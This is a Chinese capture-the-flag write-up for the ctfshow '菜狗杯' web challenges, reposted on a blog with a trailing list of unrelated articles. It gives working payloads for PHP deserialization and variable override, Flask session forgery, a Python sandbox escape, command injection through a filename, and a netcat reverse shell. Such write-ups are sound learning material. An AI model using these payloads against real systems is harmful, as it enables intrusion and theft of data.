ctfshow【菜狗杯】wp

news2024/11/29 2:03:41

文章目录

    • web
      • web签到
      • web2 c0me_t0_s1gn
      • 我的眼里只有$
      • 抽老婆
      • 一言既出
      • 驷马难追
      • TapTapTap
      • Webshell
      • 化零为整
      • 无一幸免
      • 无一幸免_FIXED
      • 传说之下(雾)
      • 算力超群
      • 算力升级
      • easyPytHon_P
      • 遍地飘零
      • 茶歇区
      • 小舔田?
      • LSB探姬
      • Is_Not_Obfuscate

web

web签到

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

仔细观察题目,这题就是套娃,

首先我们需要传个cookie,名为 CTFshow-QQ群: 但是一直不起作用,

我们需要将它进行url编码,此处值为:a

$_POST[a]=b -> $_GET[b]=c ->

$_REQUEST[c][6][0][7][5][8][0][9][4][4]=system('ls');

注意:c应该传一个数组

web2 c0me_t0_s1gn

源码有前一半flag,控制台有另一半

我的眼里只有$

<?php

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

这是一个php变量覆盖题,要弄好多层,自己敲很麻烦,我们应该写个python脚本

总共36个$。这里有一个extract() 函数:

image-20230306112022365

这个函数可以将此处$_POST 数组中的键名赋值为变量,我们只需要在post中传参即可

import string

code = "assert($_GET[1]);"
s = string.ascii_letters  # 获取所有大小写英文字母

post = "_=a&"

for i in range(34):
    post += s[i] + "=" + s[i+1] + "&"

post += s[i+1] + "=" + code
print(post)

输出:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=assert($_GET[1]);

我们只需要使用get传参,命令执行即可

抽老婆

打开页面发现一个下载的按钮,点击后可以下载图片

image-20230306113940399

url:

http://3cef0567-fe4d-413d-911e-ebf363d7fda8.challenge.ctf.show/download?file=0df74e7fc6614180ee892683f13d5abf.jpg

这里好像存在任意文件下载漏洞,我们随便输入一个路径:

image-20230306113847191

我们发现这个是 python的 flask框架,于是我们想要去读取 /app/app.py文件,

使用相对路径成功读取

image-20230306114101898

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

分析一下,这题考点就是 flask session伪造 ,只需要把 session['isadmin'] 改为true即可。

但是session伪造需要key,这里也给出了:tanji_is_A_boy_Yooooooooooooooooooooo!

于是我们可以使用脚本伪造cookie:

image-20230306114542730

我们将 isadmin改为True,然后再加密:

image-20230306114941255

该一下session访问路径得到flag

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
}

很简单,payload:

?num=114514-114514+1919810  //注意+需要url编码为:%2B,否则会被解析为空格

这里考察php弱比较,以及 intval()函数

官方wp,由于这里使用 assert()函数,可以将字符串当作代码执行,所以我们可以去闭合括号:

?num=);%23               使用#注释掉后面

驷马难追

 <?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

使用运算符绕过即可

TapTapTap

一个js小游戏题,直接找js源码:

image-20230306125703411

找到一串可疑代码,我们在控制台执行:

image-20230306125637870

该路径存在flag

Webshell

 <?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?> 

一个简单的php反序列化

直接构造:

<?php
class Webshell {
    public $cmd = "cat f*";
}
echo urlencode(serialize(new Webshell()));

输出:
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

这题的意思是我们get传参数据长度为1,并且拼接后得到 大牛

如何实现呢?我之前想到的是unicode编码之类的,但是此处可以使用url编码:

<?php
echo urlencode("大牛");

输出:
%E5%A4%A7%E7%89%9B

然后get传参:

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

这题有bug,直接给0传参就行

无一幸免_FIXED

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}
?>

这一题难点在于绕过 $arr[]=1 这一个恒真条件,这条语句的意思是:在数组后面添加一个元素1

64位有符号数,能表示最大数为: 2^63-1 = 9223372036854775807

我们只需传入:

?0=9223372036854775807

即可,这样数组的下一个元素下表越界了,则条件 $arr[]=1 为假

传说之下(雾)

观察源码,找js代码

image-20230306161257156

发现创建了一个 Game对象,里面记录的 分数 score

观察游戏:

image-20230306161510984

只要得到2077分就可以拿flag,

于是我们在控制台输入: Game.score=2077

然后玩游戏吃一个果子就行

算力超群

我们对计算进行抓包

image-20230306162704519

发现该题使用 python flask框架 并且该处可能可以使用命令执行,

我们可以使用 os.system() 进行命令执行,但是 os 模块需要进行导入,我们没有导入,怎么办呢

我们可以使用 __import__() 函数 进行动态导入模块

import() 函数用于动态加载类和函数 。

如果一个模块经常变化就可以使用 import() 来动态载入。

我们可以使用:

__import__('os').system('')

进行命令执行

此处我们测试到 number2 位置可以插入代码

我们可以使用 nc 命令反弹shell

__import__('os').system('nc ip port -e /bin/sh')

然后在服务器指定端口进行监听:

nc -lvp 9996

image-20230306164640732

我们可以直接在服务器执行命令,查看flag

如图成功得到flag

算力升级

    # !/usr/bin/env python
    # -*-coding:utf-8 -*-
    """
    # File       : app.py
    # Time       :2022/10/20 15:16
    # Author     :g4_simon
    # version    :python 3.9.7
    # Description:算力升级--这其实是一个pyjail题目
    """
    from flask import *
    import os
    import re,gmpy2 
    import json
    #初始化全局变量
    app = Flask(__name__)
    pattern=re.compile(r'\w+')
    @app.route('/', methods=['GET'])
    def index():  
        return render_template('index.html')
    @app.route('/tiesuanzi', methods=['POST'])
    def tiesuanzi():
        code=request.form.get('code')
        for item in pattern.findall(code):#从code里把单词拿出来
            if not re.match(r'\d+$',item):#如果不是数字
                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
        try:
            result=eval(code)
            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
        except:
            return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
    @app.route('/source', methods=['GET'])
    def source():  
        return render_template('source.html')
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80,debug=False)

这题好像是关于沙箱逃逸,我们先看一篇文章:[PyJail] python沙箱逃逸探究

我们仔细分析这一段代码:

	pattern=re.compile(r'\w+')	
    code=request.form.get('code')
        for item in pattern.findall(code):#从code里把单词拿出来
            if not re.match(r'\d+$',item):#如果不是数字
                if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
                   return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
        try:
            result=eval(code)
            return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})

这一段代码判断,首先把所有的字母、数字、下划线_ 拿出来(findall):单词,

如果单词不在gmpy2库中,则执行不了eval(),所以我们必须使用gmpy2库中的函数名来构造想要的代码。

dir()函数可以返回参数的属性以及函数列表。

例如,我们返回gmpy2 的列表:dir(gmpy2)

image-20230307114741408

根据分析,特殊字符可以随便使用,

我们需要使用图片中的函数名来构造payload。

观察可知,里面有:gmpy2__builtins__

__builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。

我们使用 gmpy2.__builtins__ 查看其中存在的属性、函数,返回的是字典:

image-20230307115516500

其中包含 eval() 函数,我们需要通过gmpy2中有的函数来构造 eval

经过观察,gmpy2中存在:invertfaclcm 等函数,我们可以通过对字符串中字符取值,拼接为eval

gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]](

然后我们需要编写脚本,通过gmpy2函数,构造出eval()函数中的代码:

__import__('os').popen('cat /flag').read()

这一句的意思是,导入os模块,使用os.popen() 去执行命令,然后读取出来

我们自己写个脚本进行构造:

import gmpy2
s = "__import__('os').popen('cat /flag').read()"

payload = "gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("

for i in s: # 遍历想执行的代码
    if i in " '()/.":  	# 如果是这些字符,就直接相加(注意结尾的加号+) 
        payload += f"\"{i}\"+"
    else: 	# 如果是字母,我们需要使用gmpy2函数进行构造
        temp_str = ""
        temp_index = -1
        for j in dir(gmpy2): # 遍历gmpy2中的函数
            if i in j:		# 如果函数中存在该字母
                temp_index = j.find(i)  # 找到该字母下标
                temp_str = j
        payload += f"\"{temp_str}\"[{temp_index}]+"  
        # payload加上函数中指定下标,如 "invert"[3] 就是字母e,注意末尾加上加号+

payload = payload[:-1] + ")" # 将末尾+替换为空格
print(payload)

payload:

gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")

easyPytHon_P

源码在此:

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

这题就是命令执行,但是我们不知道 subprocess.run() 是什么东西

其实就是执行命令的一个函数。

subprocess.run()

第一个args是最重要的,它就是要执行的命令。注意它必须是一个列表,里面的内容包括了命令和命令参数,比如:

subprocess.run(["ls", "-l", "/usr/bin"])

那么题中就是取cmd中前三个为命令,param为命令参数,__file__是当前文件路径(当param中传入的也是文件路径参数时,命令行会根据这两个路径参数分别执行成两条命令,输出两个结果);第二个cwd为当前工作路径,**os.getcwd()**就是返回进程的当前工作目录,timeout=5,就是超时时间最大设置为5s。

遍地飘零

 <?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

没有零,仔细看看输入有什么问题吧array(0) { } 

观察题目

我们需要将 $_GET 变量值赋值为 $flag

这样我们通过 var_dump() 就可以将 flag内容输出了

payload:

_GET=flag

茶歇区

image-20230306165435312

这一题是叫我们买东西得到 114514分以上就行,但是我们经过尝试,不能输入负值,然后没有什么思路了。

看了wp,考点是整形溢出

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

简单反序列化:

<?php

class Moon{
    public $name;
    public function __construct() {
        $this->name = new Ion_Fan_Princess();
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";
}

echo serialize(new Moon());

payload:
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

LSB探姬

源码:

    # !/usr/bin/env python
    # -*-coding:utf-8 -*-
    """
    # File       : app.py
    # Time       :2022/10/20 15:16
    # Author     :g4_simon
    # version    :python 3.9.7
    # Description:TSTEG-WEB
    # flag is in /app/flag.py
    """
    from flask import *
    import os
    #初始化全局变量
    app = Flask(__name__)
    @app.route('/', methods=['GET'])
    def index():    
        return render_template('upload.html')
    @app.route('/upload', methods=['GET', 'POST'])
    def upload_file():
        if request.method == 'POST':
            try:
                f = request.files['file']
                f.save('upload/'+f.filename)
                cmd="python3 tsteg.py upload/"+f.filename
                result=os.popen(cmd).read()
                data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
                return jsonify(data)
            except:
                data={"code":1,"message":"file upload error!"}
                return jsonify(data)
        else:
            return render_template('upload.html')
    @app.route('/source', methods=['GET'])
    def show_source():
        return render_template('source.html')
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80,debug=False)

突破点:

cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()

这里可以进行 python 命令执行,只需要改一个文件名即可

filename="1;cat flag.py"

我们使用分号 ; 进行命令分隔,然后 cat即可

image-20230306173101904

Is_Not_Obfuscate

查看源码

image-20230306173407767

提示我们访问 robots.txt文件

image-20230306173829040

访问 /lib.php?flag=0 什么东西都没有,我们将 0 改为 1:

image-20230306173943135

发现一大堆编码

没有其他思路,我们继续查看首页:

image-20230306174236577

我们发现隐藏了一个 执行按钮,我们将value改为test,然后我们再将上述获得的编码放入input中:

image-20230306174540414

注意:需要将上述编码进行url编码一次,我们获得如下源码:

image-20230306174745354

我们主要关注这里:

image-20230306174848932

思路就是:我们将一句话木马push进去,之后使用pull拉取下来,进行命令执行

image-20230306180009955

image-20230306180042873

注意:要在命令后加入youyou 再进行md5编码:

image-20230306180125929

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/393870.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在社交媒体上行之有效的个人IP趋势

如果您认为无论是获得一份工作、建立一家企业还是推动个人职业发展&#xff0c;社交媒体都是帮助您实现目标的可靠工具&#xff0c;那么个人IP就是推动这一工具前进的燃料。个人IP反映了您是谁&#xff0c;您在所处领域的专业程度&#xff0c;以及您与他人的区别。社交媒体将有…

打破原来软件开发模式的无代码开发平台

前言传统的系统开发是需要大量的时间和成本的&#xff0c;如今无代码开发平台的出现就改变了这种状况。那么你知道什么是无代码开发平台?无代码开发对企业来说有什么特殊的优势么?什么是无代码平台无代码平台指的是&#xff1a;使用者无需懂代码或手写代码&#xff0c;只需通…

代码分享:gprMax钻孔地质雷达波场模拟

代码分享&#xff1a;gprMax钻孔地质雷达波场模拟 前言 gprMax模拟地面地质雷达被广泛使用&#xff0c;但是在钻孔内进行地质雷达的模拟较少。本博文尝试利用gprMax进行钻孔地质雷达的模拟&#xff0c;代码仅供大家借鉴。 文章目录代码分享&#xff1a;gprMax钻孔地质雷达波场…

【数据结构】链表练习题(1)

练习题1.移除链表元素(LeetCode203)2.链表的中间结点(LeetCode876)3.链表的倒数第k个结点(剑指offer)4.反转链表(LeetCode206)5.合并两个有序链表(LeetCode21)6.链表分割(牛客)7.链表的回文结构(牛客)1.移除链表元素(LeetCode203) 给你一个链表的头结点 head 和一个整数 val &…

第十四届蓝桥杯三月真题刷题训练——第 4 天

目录 题目 1 &#xff1a;九数算式_dfs回溯(全排列) 题目描述 运行限制 代码&#xff1a; 题目2&#xff1a;完全平方数 问题描述 输入格式 输出格式 样例输入 1 样例输出 1 样例输入 2 样例输出 2 评测用例规模与约定 运行限制 代码&#xff1a; 题目 1 &am…

数据结构刷题(十九):77组合、216组合总和III

1.组合题目链接过程图&#xff1a;先从集合中取一个数&#xff0c;再依次从剩余数中取k-1个数。思路&#xff1a;回溯算法。使用回溯三部曲进行解题&#xff1a;递归函数的返回值以及参数&#xff1a;n&#xff0c;k&#xff0c;startIndex(记录每次循环集合从哪里开始遍历的位…

场景式消费激发春日经济,这些电商品类迎来消费热潮

春日越临近&#xff0c;商机越浓郁。随着气温渐升&#xff0c;春日经济已经潜伏在大众身边。“春菜”、“春装”、“春游”、“春季养生”等春日场景式消费走热。 下面&#xff0c;鲸参谋为大家盘点几个与春日经济紧密相关的行业。 •春日仪式之春游踏青 ——户外装备全面开花…

查看 WiFi 密码的两种方法

查看 WiFi 密码的两种方法1. 概述2. 在控制面板中查看 WiFi 密码3. 使用 CMD 查看 WiFi 密码结束语1. 概述 突然忘记 WiFi 密码怎么办&#xff1f; 想连上某个使用过的 WiFi&#xff0c;但有不知道 WiFi 密码怎么办&#xff1f; 使用电脑如何查询 WiFi 密码&#xff1f; 以下是…

zabbix4.0 网络发现-自动添加主机-自动注册

zabbix的网络发现 网络发现的好处&#xff1a; 加快zabbix部署 简化管理 无需过多管理就能在快速变化的环境中使用zabbix zabbix网络发现给予以下信息 IP范围 可用的外部服务&#xff08;FTP&#xff0c;SSH&#xff0c;WEB&#xff0c;POP3&#xff0c;IMAP&#xff0c;TCP等&…

一篇深入解析BTF 实践指南

BPF 是 Linux 内核中基于寄存器的虚拟机&#xff0c;可安全、高效和事件驱动的方式执行加载至内核的字节码。与内核模块不同&#xff0c;BPF 程序经过验证以确保它们终止并且不包含任何可能锁定内核的循环。BPF 程序允许调用的内核函数也受到限制&#xff0c;以确保最大的安全性…

FPGA使用GTX实现SFP光纤收发SDI视频 全网首创略显高端 提供工程源码和技术支持

目录1、前言2、设计思路和框架3、vivado工程详解4、上板调试验证并演示5、福利&#xff1a;工程代码的获取1、前言 FPGA实现SDI视频编解码目前有两种方案&#xff1a; 一是使用专用编解码芯片&#xff0c;比如典型的接收器GS2971&#xff0c;发送器GS2972&#xff0c;优点是简…

如何让网络安全的防守技术更强?20年白帽子老江湖告诉你【蓝队】

网络安全的防守技术是网络安全工程师必备技能&#xff0c;只有攻防兼备的白帽子&#xff0c;才算是真正的网安精英。 网络安全的攻击技术在前面我已经讲过了&#xff0c;感兴趣的可以去看看&#xff1a; 90%的人都不算会网络安全&#xff0c;这才是真正的白帽子技术【红队】 . …

蓝桥杯--成绩分析

成绩分析 技巧 求最大值与最小值 if(a[i]>max) maxa[i]; if(a[i]<min) mina[i]; 这里的max为最小值0 这里的min为最大值100 这道题比较简单 题目大意 小蓝给学生们组织了一场考试&#xff0c;卷面总分为 100 分&#xff0c;每个学生的得分都是一个 0 到 100 的整数。 请…

【GO】K8s 管理系统项目33[前端部分–登录和登出]

K8s 管理系统项目[前端部分–登录和登出] 1. 登录登出流程 1.1 登录流程 登入流程总的分为5步: 账号密码验证token生成token验证验证成功进行跳转验证失败返回/login 1.2 登出流程 登出流程就相对简单,分为2步 删除Token跳转/login 2. 登录代码 src/views/login/Login.v…

vue双向绑定原理

Vue双向绑定的原理 vue的双向绑定原理&#xff1a;vue数据的双向绑定是通过数据劫持结合发布者-订阅者模式的方式来实现的。其核心就是通过obj.defineProperty()方法来实现数据的劫持&#xff0c;在数据变化时发布消息给订阅者&#xff0c;触发相应的监听回调。也就是说数据和视…

windows安装Stable Diffusion WebUI及问题解决记录

本文将详细介绍stable diffusion webui的下载、安装及问题解决。 StableDiffusion是2022年发布的深度学习文本到图像生成模型。它主要用于根据文本的描述产生详细图像&#xff0c;尽管它也可以应用于其他任务&#xff0c;如内补绘制、外补绘制&#xff0c;以及在提示词​&#…

AUTOSAR知识点Com(五):CANIf模式PUD Channel

1、概述 每个L-PDU分配给一个专用的物理CAN通道&#xff0c;该通道连接CAN控制器和CAN网络。通过这种方式&#xff0c;所有属于物理通道的L-PDU都可以在处理逻辑上&#xff0c;单一的L-PDU通道组上进行控制。这些逻辑组表示ECU连接到底层CAN网络的所有I-PDU。图 展示了L-PDU信道…

category排序专辑

case1——对有限类型的字段按指定要求排序&#xff1a; #学历分布 xueli_tsdf.pivot_table(index学历,values教师id,aggfunccount,marginsTrue,margins_name总计) xueli_ts[占比]np.round(xueli_ts[教师id]/xueli_ts.loc[总计,教师id],2) xueli_ts.reset_index(inplaceTrue)xu…

Adding Conditional Control to Text-to-Image Diffusion Models

安全验证 - 知乎知乎&#xff0c;中文互联网高质量的问答社区和创作者聚集的原创内容平台&#xff0c;于 2011 年 1 月正式上线&#xff0c;以「让人们更好的分享知识、经验和见解&#xff0c;找到自己的解答」为品牌使命。知乎凭借认真、专业、友善的社区氛围、独特的产品机制…

Java要学到什么程度才能找工作?小白怎么去面试Java岗位?

作为一个Java初学者&#xff0c;到底要学哪些知识点才能找到月薪过万的工作&#xff1f;或者说&#xff0c;怎样才能适应企业的开发流程&#xff0c;不至于进了公司都不知道怎么把需求转换成代码。甚至&#xff0c;唯唯诺诺的加班&#xff0c;一点自信都没有。本期文章&#xf…